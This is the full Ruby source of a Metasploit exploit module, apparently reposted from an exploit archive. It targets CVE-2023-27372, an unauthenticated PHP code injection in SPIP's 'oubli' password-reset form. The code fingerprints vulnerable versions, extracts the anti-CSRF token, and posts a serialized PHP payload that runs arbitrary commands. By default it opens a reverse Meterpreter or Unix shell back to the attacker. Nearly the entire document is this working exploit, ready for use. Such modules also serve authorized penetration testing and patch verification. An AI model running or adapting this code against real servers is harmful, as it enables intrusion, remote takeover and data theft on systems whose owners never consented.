Headline
SPIP Remote Command Execution
This Metasploit module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are below 3.2.18, below 4.0.10, below 4.1.18 and below 4.2.1.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SPIP form PHP Injection', 'Description' => %q{ This module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1. }, 'Author' => [ 'coiffeur', # Initial discovery 'Laluka', # PoC 'Julien Voisin' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ], [ 'URL', 'https://therealcoiffeur.com/c11010' ], [ 'CVE', '2023-27372' ], ], 'Privileged' => false, 'Platform' => %w[php linux unix], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'Automatic (PHP In-Memory)', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :php_memory, 'Payload' => { 'BadChars' => "\x22\x00" } } ], [ 'Automatic (Unix In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_memory, 'Payload' => { 'BadChars' => "\x22\x00\x27" } } ], ], 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [IOC_IN_LOGS] }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-02-27' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), ] ) end def check uri = normalize_uri(target_uri.path, 'spip.php') res = send_request_cgi({ 'uri' => uri.to_s }) return Exploit::CheckCode::Unknown('Target is unreachable.') unless res return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200 version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/ version = ::Regexp.last_match(1) if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/ version = ::Regexp.last_match(1) end return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version print_status("SPIP Version detected: #{version}") rversion = Rex::Version.new(version) if rversion >= Rex::Version.new('4.2.0') if rversion < Rex::Version.new('4.2.1') return Exploit::CheckCode::Appears end elsif rversion >= Rex::Version.new('4.1.0') if rversion < Rex::Version.new('4.1.18') return Exploit::CheckCode::Appears end elsif rversion >= Rex::Version.new('4.0.0') if rversion < Rex::Version.new('4.0.10') return Exploit::CheckCode::Appears end elsif rversion >= Rex::Version.new('3.2.0') if rversion < Rex::Version.new('3.2.18') return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def execute_command(cmd, args = {}) send_request_cgi( { 'uri' => args['uri'], 'method' => 'POST', 'vars_post' => { 'page' => 'spip_pass', 'lang' => 'fr', 'formulaire_action' => 'oubli', 'formulaire_action_args' => args['csrf'], 'oubli' => cmd } } ) end def exploit uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr') res = send_request_cgi({ 'uri' => uri }) fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200 csrf = '' unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty? csrf = node.first['value'] end print_status("Got anti-csrf token: #{csrf}") print_status("#{rhost}:#{rport} - Attempting to exploit...") oubli = '' case target['Type'] when :php_memory oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";" when :unix_memory oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";" end execute_command(oubli, { 'uri' => uri, 'csrf' => csrf }) endend